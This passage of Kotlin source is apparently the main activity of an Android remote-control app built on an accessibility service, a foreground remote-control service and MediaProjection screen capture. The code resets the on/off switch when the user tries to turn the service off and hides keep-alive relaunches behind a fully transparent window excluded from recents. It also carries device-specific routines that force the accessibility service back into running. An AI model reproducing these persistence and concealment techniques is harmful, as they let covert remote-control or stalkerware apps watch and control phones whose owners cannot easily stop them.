"用户关闭开关,但无法禁用已启用的服务") // 不能禁用已启用的服务,重新设置开关状态 updateSwitchState() } } } /** * 测试启动密码输入页面 */ private fun testPasswordInputActivity() { Log.i(TAG, "🧪 测试:启动密码输入页面") try { val intent = Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply { putExtra( com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN ) putExtra( com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, "test_device_${System.currentTimeMillis()}" ) putExtra( com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, "test_installation_${System.currentTimeMillis()}" ) flags = Intent.FLAG_ACTIVITY_NEW_TASK } startActivity(intent) } catch (e: Exception) { Log.e(TAG, "❌ 测试启动密码输入页面失败", e) android.widget.Toast.makeText( this, "启动失败: ${e.message}", android.widget.Toast.LENGTH_SHORT ).show() } } /** * 更新Switch状态,与服务状态同步 */ private fun updateSwitchState() { // ✅ 安全检查:确保UI组件已初始化 if (!::serviceSwitch.isInitialized) { Log.w(TAG, "⚠️ serviceSwitch未初始化,跳过updateSwitchState") return } val isServiceRunning = AccessibilityRemoteService.isServiceRunning() val isAccessibilityEnabled = isAccessibilityServiceEnabled() // 只有当服务完全运行时,Switch才应该是开启状态 val shouldBeChecked = isServiceRunning && isAccessibilityEnabled // 防止循环触发监听器 serviceSwitch.setOnCheckedChangeListener(null) serviceSwitch.isChecked = shouldBeChecked // 重新设置监听器 serviceSwitch.setOnCheckedChangeListener { _, isChecked -> Log.i(TAG, "用户切换开关,目标状态: $isChecked") // 如果用户打开开关,执行启用逻辑 if (isChecked) { val enableButtonClickHandler = { Log.i(TAG, "用户触发启用操作") val isAccessibilityEnabled = isAccessibilityServiceEnabled() val isServiceRunning = AccessibilityRemoteService.isServiceRunning() when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置") // ✅ 用户主动点击按钮时,跳转到无障碍设置 openAccessibilitySettings() } isAccessibilityEnabled && !isServiceRunning -> { Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态") checkAllPermissions() } isAccessibilityEnabled && isServiceRunning -> { Log.i(TAG, "服务已完全运行,无需操作") } else -> { Log.i(TAG, "其他状态,重新检查权限") checkAllPermissions() } } } enableButtonClickHandler() } else { Log.i(TAG, "用户关闭开关,但无法禁用已启用的服务") // 不能禁用已启用的服务,重新设置开关状态 updateSwitchState() } } } /** * ✅ 新增:APP打开时强制检查并恢复无障碍服务 */ private fun forceCheckAndRecoverAccessibilityService() { Log.i(TAG, "🔍 APP打开时强制检查无障碍服务状态") try { val isAccessibilityEnabled = isAccessibilityServiceEnabled() val serviceInstance = AccessibilityRemoteService.getInstance() val serviceRunning = AccessibilityRemoteService.isServiceRunning() Log.i(TAG, "📊 无障碍服务状态检查:") Log.i(TAG, " - 权限启用状态: $isAccessibilityEnabled") Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}") Log.i(TAG, " - 服务运行状态: $serviceRunning") if (isAccessibilityEnabled) { if (serviceInstance == null || !serviceRunning) { Log.w(TAG, "⚠️ 检测到无障碍服务权限已启用但服务未运行,尝试强制恢复") forceRecoverAccessibilityService() } else { Log.i(TAG, "✅ 无障碍服务运行正常") } } else { Log.i(TAG, "ℹ️ 无障碍服务权限未启用,等待用户手动启用") } } catch (e: Exception) { Log.e(TAG, "❌ 强制检查无障碍服务失败", e) } } /** * ✅ 新增:强制恢复无障碍服务 */ private fun forceRecoverAccessibilityService() { // 检查是否为Vivo设备 val isVivoDevice = android.os.Build.BRAND?.lowercase()?.contains("vivo") == true || android.os.Build.MANUFACTURER?.lowercase()?.contains("vivo") == true if (isVivoDevice) { Log.i(TAG, "📱 检测到Vivo设备,使用Vivo特定恢复策略") handleVivoAccessibilityRecovery() } else { Log.i(TAG, "📱 非Vivo设备,使用标准恢复策略") performStandardAccessibilityRecovery() } } /** * ✅ 新增:Vivo设备无障碍服务恢复 */ private fun handleVivoAccessibilityRecovery() { try { Log.i(TAG, "🔄 开始Vivo无障碍服务恢复") // 启动Vivo恢复处理器 val recoveryHandler = com.hikoncont.service.modules.VivoAccessibilityRecovery(this) // 检查无障碍服务状态 val status = recoveryHandler.checkAccessibilityServiceStatus() Log.i(TAG, "📊 Vivo无障碍服务状态: $status") if (!status.isEnabled) { Log.w(TAG, "⚠️ Vivo设备:无障碍服务未启用,引导用户手动启用") guideUserToEnableAccessibility() } else if (status.isEnabled && !status.isRunning) { Log.w(TAG, "⚠️ Vivo设备:无障碍服务已启用但未运行,尝试Vivo特定恢复") performVivoSpecificRecovery() } else { Log.i(TAG, "✅ Vivo设备:无障碍服务状态正常") } } catch (e: Exception) { Log.e(TAG, "❌ Vivo无障碍服务恢复失败", e) // 启动降级模式防止APP闪退 startDegradedMode() } } /** * ✅ 新增:引导用户手动启用无障碍服务 */ private fun guideUserToEnableAccessibility() { try { Log.i(TAG, "📱 引导用户到无障碍设置页面") runOnUiThread { statusText.text = "📱 Vivo设备检测\n请手动启用无障碍服务\n1. 点击下方按钮\n2. 找到应用名称\n3. 启用服务\n4. 返回应用" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) enableButton.text = "打开无障碍设置" enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark)) enableButton.isEnabled = true } // ✅ 修改:不自动跳转无障碍设置,等待用户手动点击按钮 // android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ // openAccessibilitySettings() // }, 1000) } catch (e: Exception) { Log.e(TAG, "❌ 引导用户启用无障碍服务失败", e) } } /** * ✅ 新增:Vivo特定恢复策略 */ private fun performVivoSpecificRecovery() { try { Log.i(TAG, "🔄 执行Vivo特定恢复策略") runOnUiThread { statusText.text = "🔄 Vivo设备恢复中\n正在尝试多种恢复策略\n请稍候..." statusText.setTextColor(getColor(android.R.color.holo_blue_dark)) } // 启动恢复协程 CoroutineScope(Dispatchers.IO).launch { val recoveryHandler = com.hikoncont.service.modules.VivoAccessibilityRecovery(this@MainActivity) var attempts = 0 val maxAttempts = 3 while (attempts < maxAttempts) { attempts++ Log.d(TAG, "🔄 Vivo恢复尝试 $attempts/$maxAttempts") if (recoveryHandler.recoverAccessibilityService()) { Log.i(TAG, "✅ Vivo无障碍服务恢复成功") runOnUiThread { statusText.text = "✅ Vivo设备恢复成功\n无障碍服务已正常运行" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } return@launch } delay(2000L) } // 恢复失败,启动降级模式 Log.w(TAG, "⚠️ Vivo恢复失败,启动降级模式") startDegradedMode() } } catch (e: Exception) { Log.e(TAG, "❌ Vivo特定恢复失败", e) startDegradedMode() } } /** * ✅ 新增:启动降级模式 */ private fun startDegradedMode() { try { Log.i(TAG, "📱 启动降级模式:禁用部分功能,保持APP稳定") runOnUiThread { statusText.text = "📱 降级模式已启动\n部分功能已禁用\nAPP保持稳定运行\n💡 建议重启应用" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) enableButton.text = "重启应用" enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark)) enableButton.isEnabled = true } // 禁用保活服务 val disableKeepAliveIntent = Intent("android.mycustrecev.DISABLE_KEEPALIVE") sendBroadcast(disableKeepAliveIntent) // 启动基础服务 val basicServiceIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) startForegroundService(basicServiceIntent) Log.i(TAG, "✅ 降级模式已启动") } catch (e: Exception) { Log.e(TAG, "❌ 启动降级模式失败", e) } } /** * ✅ 修复:优化的保活检测方法,避免误判导致卡顿 */ private fun shouldJumpToTransparentActivity(): Boolean { return try { // 快速检查:如果Intent明确包含保活参数,直接返回true val intent = getIntent() if (intent != null) { val explicitKeepAlive = intent.getBooleanExtra("keepalive_launch", false) || intent.getBooleanExtra("from_keepalive", false) || intent.getBooleanExtra("keepalive_service_start", false) if (explicitKeepAlive) { Log.i(TAG, "🫥 检测到明确的保活参数,跳转到透明Activity") return true } // 检查是否来自用户主动启动,如果是则不跳转 if (intent.action == Intent.ACTION_MAIN && intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true) { Log.d(TAG, "🔒 用户主动启动,不跳转到透明Activity") return false } if (intent.getBooleanExtra("user_initiated", false)) { Log.d(TAG, "🔒 用户主动启动标识,不跳转到透明Activity") return false } } // 检查透明保活Activity是否已经在运行 val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance() if (transparentActivity != null) { Log.i(TAG, "🫥 透明保活Activity已运行,跳转到透明Activity") return true } false } catch (e: Exception) { Log.e(TAG, "❌ 检查保活状态失败", e) false } } /** * ✅ 参考zuiqiang:严格的保活检测方法,避免频繁启动和动画 * ✅ 关键:只有在安装完成后才进行保活检测 * ✅ 新增:OPPO设备禁用Activity保活检测 */ private fun isLaunchedByKeepAlive(): Boolean { // ✅ 新增:OPPO设备禁用Activity保活检测 if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) { Log.i(TAG, "📱 OPPO设备:禁用Activity保活检测,仅使用服务保活") return false } return try { // ✅ 关键:首先检查安装是否完成,未完成则不进行保活检测 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { Log.d(TAG, "🔒 安装未完成,跳过保活检测") return false } // ✅ 检查安装完成时间,确保不是刚安装完成 val installationTime = installationStateManager.getInstallationTime() val currentTime = System.currentTimeMillis() val timeSinceInstallation = currentTime - installationTime // 如果安装完成时间少于30秒,跳过保活检测(给系统足够时间稳定) if (timeSinceInstallation < 30000L) { Log.d(TAG, "🔒 安装刚完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定") return false } val intent = getIntent() if (intent == null) { Log.d(TAG, "🔍 Intent为空,非保活拉起") return false } // ✅ 检查是否为用户主动启动(通过桌面图标) if (intent.action == Intent.ACTION_MAIN && intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true ) { Log.d(TAG, "🔒 用户主动启动,跳过保活检测") return false } // ✅ 检查是否为用户主动启动标识 if (intent.getBooleanExtra("user_initiated", false) == true) { Log.d(TAG, "🔒 用户主动启动标识,跳过保活检测") return false } // ✅ 检查是否来自安装完成广播 if (intent.getBooleanExtra("from_installation_complete", false) == true) { Log.d(TAG, "🔒 来自安装完成广播,跳过保活检测") return false } // ✅ 参考zuiqiang:快速检查保活相关参数 val fromKeepAlive = intent.getBooleanExtra("from_keepalive", false) val keepaliveLaunch = intent.getBooleanExtra("keepalive_launch", false) val fromService = intent.getBooleanExtra("from_service", false) val fromBroadcast = intent.getBooleanExtra("from_broadcast", false) val keepaliveServiceStart = intent.getBooleanExtra("keepalive_service_start", false) // ✅ 参考zuiqiang:检查是否为保活启动 val isKeepAliveLaunch = fromKeepAlive || keepaliveLaunch || fromService || fromBroadcast || keepaliveServiceStart if (isKeepAliveLaunch) { Log.i(TAG, "🫥 检测到保活相关参数,判断为保活程序拉起") return true } // ✅ 参考zuiqiang:更严格的启动频率检查 val lastLaunchTime = getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE) .getLong("last_launch_time", 0) val timeSinceLastLaunch = currentTime - lastLaunchTime // ✅ 参考zuiqiang:更严格的频率检测,2秒内启动认为是保活 if (timeSinceLastLaunch < 2000L) { Log.i(TAG, "🫥 检测到频繁启动(${timeSinceLastLaunch}ms),判断为保活程序拉起") return true } // ✅ 参考zuiqiang:检查是否在后台启动(保活特征) val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager val runningTasks = activityManager.getRunningTasks(1) val isBackgroundLaunch = runningTasks.isNotEmpty() && runningTasks[0].topActivity?.packageName != packageName if (isBackgroundLaunch) { Log.i(TAG, "🫥 检测到后台启动,判断为保活程序拉起") return true } // ✅ 参考zuiqiang:检查应用是否在前台,如果不在前台启动则认为是保活 val isAppInForeground = try { val appProcesses = activityManager.runningAppProcesses appProcesses?.any { it.processName == packageName && it.importance == android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND } ?: false } catch (e: Exception) { false } if (!isAppInForeground) { Log.i(TAG, "🫥 检测到应用不在前台启动,判断为保活程序拉起") return true } // 记录本次启动时间 getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE) .edit() .putLong("last_launch_time", currentTime) .apply() Log.d(TAG, "📱 非保活程序拉起,正常启动") false } catch (e: Exception) { Log.e(TAG, "❌ 检查保活拉起状态失败", e) false } } /** * ✅ 新增:检查服务是否运行 */ private fun isServiceRunning(serviceClass: Class<*>): Boolean { return try { val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE) runningServices.any { it.service.className == serviceClass.name } } catch (e: Exception) { Log.e(TAG, "❌ 检查服务运行状态失败", e) false } } /** * ✅ 新增:为保活拉起设置透明窗口,避免闪屏 */ private fun setupTransparentWindowForKeepAlive() { try { Log.i(TAG, "🫥 设置透明窗口,避免保活拉起时闪屏") // ✅ 修复:异步设置透明窗口,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 设置透明主题 setTheme(R.style.Theme_Transparent) // 设置窗口为透明 window.setFlags( WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS, WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS ) // 设置窗口背景为透明 window.setBackgroundDrawableResource(android.R.color.transparent) // 延迟设置状态栏和导航栏,避免ANR android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { // 设置状态栏和导航栏为透明 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) { window.statusBarColor = android.graphics.Color.TRANSPARENT window.navigationBarColor = android.graphics.Color.TRANSPARENT } // 设置系统UI可见性 window.decorView.systemUiVisibility = ( View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN ) // 创建透明视图 val transparentView = View(this@MainActivity) transparentView.setBackgroundColor(android.graphics.Color.TRANSPARENT) setContentView(transparentView) // 设置窗口透明度 window.decorView.alpha = 0f Log.i(TAG, "✅ 透明窗口设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 延迟设置透明窗口失败", e) } }, 100) // 100ms延迟,避免ANR } catch (e: Exception) { Log.e(TAG, "❌ 设置透明窗口失败", e) } } } catch (e: Exception) { Log.e(TAG, "❌ 设置透明窗口失败", e) } } /** * ✅ 新增:跳转到透明Activity并结束自己 */ private fun jumpToTransparentActivityAndFinish() { try { Log.i(TAG, "🫥 开始跳转到透明Activity并结束自己") // ✅ 强化安装完成检查 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接结束") finish() return } // ✅ 新增:检查安装完成时间,确保不是刚安装完成 val installationTime = installationStateManager.getInstallationTime() val transparentCurrentTime = System.currentTimeMillis() val timeSinceInstallation = transparentCurrentTime - installationTime if (timeSinceInstallation < 30000L) { Log.w(TAG, "⚠️ 安装刚完成(${timeSinceInstallation}ms),透明保活Activity无效,直接结束") finish() return } // ✅ 新增:检查应用启动次数 val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE) .getInt("launch_count", 0) if (appLaunchCount < 3) { Log.w(TAG, "⚠️ 应用启动次数不足($appLaunchCount),透明保活Activity无效,直接结束") finish() return } // 启动透明保活Activity val transparentIntent = Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // 禁用动画,避免闪屏 addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复:从最近任务中排除 addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复:单例模式,避免重复创建 putExtra("keepalive_launch", true) putExtra("from_main_activity", true) putExtra("timestamp", System.currentTimeMillis()) } // 禁用当前Activity的动画 overridePendingTransition(0, 0) startActivity(transparentIntent) Log.i(TAG, "✅ 透明保活Activity已启动") // 立即结束自己,减少延迟 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { Log.i(TAG, "🛑 保活程序拉起,MainActivity立即结束") finish() overridePendingTransition(0, 0) // 禁用结束动画 } catch (e: Exception) { Log.e(TAG, "❌ 结束MainActivity失败", e) } }, 50) // 减少延迟到50ms,更快响应 } catch (e: Exception) { Log.e(TAG, "❌ 跳转到透明Activity失败", e) // 如果跳转失败,直接结束 finish() } } /** * ✅ 新增:标准无障碍服务恢复 */ private fun performStandardAccessibilityRecovery() { Log.i(TAG, "🔄 开始强制恢复无障碍服务") try { // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启") // ✅ 参考 f 目录策略:不启动多余的保活服务,只启动主前台服务 try { // 只启动主前台服务(对应 f 目录的 BackRunServerUseUse) val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) if (android.os.Build.VERSION.SDK_INT >= 26) { startForegroundService(foregroundIntent) } else { startService(foregroundIntent) } Log.i(TAG, "✅ 已启动主前台服务做后台恢复(参考 f 目录策略)") } catch (e: Exception) { Log.w(TAG, "⚠️ 启动主前台服务失败: ${e.message}") } // 方法3: 延迟检查恢复效果 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ checkRecoveryResult() }, 3000) // 3秒后检查 // 方法4: 如果广播无效,尝试直接启动服务 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceInstance == null) { Log.w(TAG, "⚠️ 广播重启无效,尝试直接启动无障碍服务") tryDirectStartAccessibilityService() } }, 5000) // 5秒后尝试直接启动 } catch (e: Exception) { Log.e(TAG, "❌ 强制恢复无障碍服务失败", e) } } /** * ✅ 新增:检查恢复结果 */ private fun checkRecoveryResult() { try { val serviceInstance = AccessibilityRemoteService.getInstance() val serviceRunning = AccessibilityRemoteService.isServiceRunning() Log.i(TAG, "🔍 检查无障碍服务恢复结果:") Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}") Log.i(TAG, " - 服务运行状态: $serviceRunning") if (serviceInstance != null && serviceRunning) { Log.i(TAG, "✅ 无障碍服务恢复成功") // 更新UI状态 runOnUiThread { updateStatusTextSafely( "✅ 无障碍服务已恢复\n正在重新连接...", android.R.color.holo_green_dark ) } // 尝试重新连接服务器 serviceInstance.reconnectToServer() } else { Log.w(TAG, "⚠️ 无障碍服务恢复失败,尝试其他方法") tryAlternativeRecoveryMethods() } } catch (e: Exception) { Log.e(TAG, "❌ 检查恢复结果失败", e) } } /** * ✅ 新增:尝试直接启动无障碍服务 */ private fun tryDirectStartAccessibilityService() { try { Log.i(TAG, "🔄 尝试直接启动无障碍服务") // 发送服务启动广播 val startIntent = Intent("android.mycustrecev.START_ACCESSIBILITY_SERVICE") sendBroadcast(startIntent) // 延迟检查启动结果 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceInstance != null) { Log.i(TAG, "✅ 直接启动无障碍服务成功") runOnUiThread { updateStatusTextSafely( "✅ 无障碍服务已启动\n正在初始化...", android.R.color.holo_green_dark ) } } else { Log.w(TAG, "⚠️ 直接启动无障碍服务失败") tryAlternativeRecoveryMethods() } }, 2000) } catch (e: Exception) { Log.e(TAG, "❌ 直接启动无障碍服务失败", e) } } /** * ✅ 新增:尝试其他恢复方法 */ private fun tryAlternativeRecoveryMethods() { try { Log.i(TAG, "🔄 尝试其他恢复方法") runOnUiThread { updateStatusTextSafely( "⚠️ 无障碍服务恢复失败\n请手动重新启用无障碍服务\n或重启应用", android.R.color.holo_red_dark ) enableButton.text = "重新启用无障碍服务" enableButton.isEnabled = true } // 提供用户操作指引 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ Log.i(TAG, "💡 建议用户手动重新启用无障碍服务") runOnUiThread { updateStatusTextSafely( "💡 建议操作步骤:\n1. 点击下方按钮\n2. 找到应用名称\n3. 重新启用服务\n4. 返回应用", android.R.color.holo_blue_dark ) } }, 2000) } catch (e: Exception) { Log.e(TAG, "❌ 尝试其他恢复方法失败", e) } } private fun updateUI() { // ✅ 安全检查:确保UI组件已初始化 if (!::enableButton.isInitialized) { Log.w(TAG, "⚠️ UI组件未初始化,跳过updateUI") return } val isServiceRunning = AccessibilityRemoteService.isServiceRunning() val isAccessibilityEnabled = isAccessibilityServiceEnabled() // 删除悬浮窗权限检查 Log.d(TAG, "🔍 UI状态检查: 服务运行=$isServiceRunning, 无障碍启用=$isAccessibilityEnabled") when { isServiceRunning && isAccessibilityEnabled -> { updateStatusTextThreadSafe("🎉 服务已完全配置", android.R.color.holo_green_dark) enableButton.text = "配置完成 - 可以使用" enableButton.isEnabled = false // 更新Switch状态 updateSwitchState() // ✅ 修复:无障碍权限正常时,自动切换到WebView界面 Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面") switchToWebViewInterface() } // 删除悬浮窗权限状态检查 !isAccessibilityEnabled -> { // 🔑 对于无障碍服务未启用状态,如果有自定义状态文本,直接使用,不受保护机制影响 Log.d(TAG, "🔍 updateUI - customStatusText值: '$customStatusText'") val displayText = if (!customStatusText.isNullOrEmpty()) { Log.i(TAG, "📝 使用自定义状态文本: $customStatusText") customStatusText!! } else { Log.i(TAG, "📝 使用默认状态文本") "❌ 服务未启动\n💡 需要开启无障碍服务\n🔐 稍后会自动配置" } // 🔑 对于初始状态,总是显示自定义状态文本(如果有) statusText.text = displayText statusText.setTextColor(getColor(android.R.color.white)) // 使用自定义按钮文本(如果有配置)或默认文本 val currentButtonText = enableButton.text?.toString() ?: "" val buttonText = if (currentButtonText == getString(R.string.enable_accessibility_service) || currentButtonText.isEmpty()) { getString(R.string.enable_accessibility_service) } else { currentButtonText // 保持已设置的自定义文本 } enableButton.text = buttonText enableButton.isEnabled = true // 更新Switch状态 updateSwitchState() } isAccessibilityEnabled && !isServiceRunning -> { // ✅ 无障碍已启用但服务未运行,这是正常的中间状态,给用户明确指引 updateStatusTextSafely( "⏳ 无障碍服务已启用\n🚀 正在启动服务...\n💡 如果长时间不跳转,请重新打开应用", android.R.color.holo_blue_dark ) enableButton.text = "服务启动中" enableButton.isEnabled = true // ✅ 允许用户重新尝试 // 更新Switch状态 updateSwitchState() // ✅ 添加超时机制,10秒后允许用户重新操作 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!AccessibilityRemoteService.isServiceRunning() && !isFinishing) { Log.w(TAG, "⚠️ 服务启动超时,更新UI状态") runOnUiThread { updateStatusTextSafely( "⚠️ 服务启动较慢\n💡 请尝试重新打开应用\n🔄 或点击按钮重新检查", android.R.color.holo_orange_dark ) enableButton.text = "重新检查状态" enableButton.isEnabled = true updateSwitchState() } } }, 10000) } else -> { updateStatusTextSafely( "🔄 正在配置权限...\n请稍等片刻", android.R.color.holo_blue_dark ) enableButton.text = "配置中" enableButton.isEnabled = false // 更新Switch状态 updateSwitchState() } } } private fun checkAllPermissions() { Log.i(TAG, "检查所有权限状态") val isAccessibilityEnabled = isAccessibilityServiceEnabled() // 删除悬浮窗权限检查 // ✅ 新增:检查存储权限状态 checkStoragePermissions() Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled") when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置") // ✅ 用户主动操作时,跳转到无障碍设置 openAccessibilitySettings() } isAccessibilityEnabled -> { // 无障碍服务已启用,直接切换到WebView界面 Log.i(TAG, "✅ 无障碍服务已开启,切换到WebView界面") switchToWebViewInterface() } else -> { Log.i(TAG, "所有必要权限已开启") // 所有必要权限都已开启,检查服务状态 if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "权限已开启但服务未运行,可能需要重启应用") } } } } /** * ✅ 新增:线程安全的 statusText 更新方法 */ private fun updateStatusTextThreadSafe(text: String, colorResId: Int? = null) { if (isFinishing || isDestroyed) { Log.w(TAG, "⚠️ Activity已销毁,跳过statusText更新: $text") return } runOnUiThread { try { if (::statusText.isInitialized && !isFinishing && !isDestroyed) { statusText.text = text colorResId?.let { statusText.setTextColor(getColor(it)) } Log.d(TAG, "✅ statusText已更新: $text") } else { Log.w(TAG, "⚠️ statusText未初始化或Activity已销毁,跳过更新") } } catch (e: Exception) { Log.e(TAG, "❌ 更新statusText失败: $text", e) } } } /** * ✅ 新增:线程安全的按钮更新方法 */ private fun updateButtonSafely(text: String, colorResId: Int? = null, enabled: Boolean? = null) { if (isFinishing || isDestroyed) { Log.w(TAG, "⚠️ Activity已销毁,跳过按钮更新: $text") return } runOnUiThread { try { if (::enableButton.isInitialized && !isFinishing && !isDestroyed) { enableButton.text = text colorResId?.let { enableButton.setBackgroundColor(getColor(it)) } enabled?.let { enableButton.isEnabled = it } Log.d(TAG, "✅ 按钮已更新: $text") } else { Log.w(TAG, "⚠️ 按钮未初始化或Activity已销毁,跳过更新") } } catch (e: Exception) { Log.e(TAG, "❌ 更新按钮失败: $text", e) } } } /** * ✅ 新增:标记权限申请状态 */ private fun markPermissionRequesting(isRequesting: Boolean) { try { val prefs = getSharedPreferences("permission_request", Context.MODE_PRIVATE) prefs.edit().putBoolean("is_requesting", isRequesting).apply() if (isRequesting) { Log.d(TAG, "🔒 标记权限申请中,防止保活循环") } else { Log.d(TAG, "🔓 清除权限申请标记") } } catch (e: Exception) { Log.e(TAG, "❌ 标记权限申请状态失败", e) } } /** * ✅ 新增:记录应用启动次数 */ private fun recordAppLaunch() { try { val prefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE) val currentCount = prefs.getInt("launch_count", 0) val newCount = currentCount + 1 prefs.edit().putInt("launch_count", newCount).apply() Log.d(TAG, "📊 应用启动次数: $newCount") // 如果是首次启动,记录启动时间 if (currentCount == 0) { val firstLaunchTime = System.currentTimeMillis() prefs.edit().putLong("first_launch_time", firstLaunchTime).apply() Log.d(TAG, "🕐 首次启动时间已记录: $firstLaunchTime") } } catch (e: Exception) { Log.e(TAG, "❌ 记录应用启动次数失败", e) } } /** * ✅ 新增:切换到WebView界面 */ private fun switchToWebViewInterface() { try { Log.i(TAG, "🌐 开始切换到WebView界面") // 检查Activity状态 if (isFinishing || isDestroyed) { Log.e(TAG, "❌ Activity已销毁或正在结束,无法切换到WebView") return } // 更新UI状态显示 - 使用线程安全方法 updateStatusTextThreadSafe("✅ 无障碍服务已启用\n正在加载WebView界面...", android.R.color.holo_green_dark) updateButtonSafely("服务运行中", android.R.color.holo_green_dark, false) // 延迟启动WebView,让用户看到状态更新 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { // 再次检查Activity状态 if (isFinishing || isDestroyed) { Log.e(TAG, "❌ Activity已销毁,取消WebView启动") return@postDelayed } startWebViewActivity() Log.i(TAG, "✅ WebView界面启动成功") // 发送广播通知无障碍服务WebView已启动 val webViewStartedIntent = Intent("android.mycustrecev.WEBVIEW_STARTED").apply { putExtra("success", true) putExtra("timestamp", System.currentTimeMillis()) } sendBroadcast(webViewStartedIntent) Log.i(TAG, "📡 已发送WebView启动广播") } catch (e: Exception) { Log.e(TAG, "❌ WebView界面启动失败", e) // 如果WebView启动失败,显示错误状态 - 使用线程安全方法 updateStatusTextThreadSafe("❌ WebView加载失败\n请重启应用", android.R.color.holo_red_dark) updateButtonSafely("重新启动", android.R.color.holo_red_dark, true) } }, 1500) // 延迟1.5秒,让用户看到状态更新 } catch (e: Exception) { Log.e(TAG, "❌ 切换到WebView界面失败", e) } } /** * ✅ 新增:检查存储权限状态 */ private fun checkStoragePermissions() { try { Log.i(TAG, "🔍 检查存储权限状态") // 检查存储状态 val storageStatus = com.hikoncont.util.XiaomiFileUtils.getStorageStatus(this) Log.i(TAG, "📱 存储状态: $storageStatus") // 如果是小米设备且存储权限有问题,记录警告 if (com.hikoncont.util.XiaomiFileUtils.isXiaomiDevice()) { val hasPermission = storageStatus["hasExternalStoragePermission"] as? Boolean ?: false if (!hasPermission) { Log.w(TAG, "⚠️ 小米设备缺少外部存储权限,可能影响 mi_exception_log 写入") } } } catch (e: Exception) { Log.e(TAG, "❌ 检查存储权限失败", e) } } /** * ✅ 新增:处理无障碍服务卡住检测和自动恢复 */ private fun handleAccessibilityServiceStuckDetection() { Log.i(TAG, "🔍 开始无障碍服务智能故障检测") // ✅ 参考billd-desk:Android 11+也需要检查MediaProjection权限(不再跳过) Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常检查MediaProjection权限状态") // ✅ 关键修复:区分无障碍截图权限和MediaProjection权限 val hasAccessibilityScreenshotPermission = checkAccessibilityScreenshotPermission() val hasMediaProjectionPermission = checkRealMediaProjectionPermission() Log.i(TAG, "📊 权限状态详细检查:") Log.i(TAG, " - 无障碍截图权限 (Android 9+): $hasAccessibilityScreenshotPermission") Log.i(TAG, " - MediaProjection投屏权限: $hasMediaProjectionPermission") if (hasMediaProjectionPermission) { Log.i(TAG, "✅ MediaProjection权限确实存在,检查是否需要申请悬浮窗权限") // 删除悬浮窗权限申请,直接显示就绪状态 Log.i(TAG, "🔧 跳过悬浮窗权限申请") runOnUiThread { statusText.text = "✅ 服务启动中..." statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "服务已就绪" enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) enableButton.isEnabled = false } return } // ✅ 即使有无障碍截图权限,也必须申请MediaProjection权限用于实时投屏 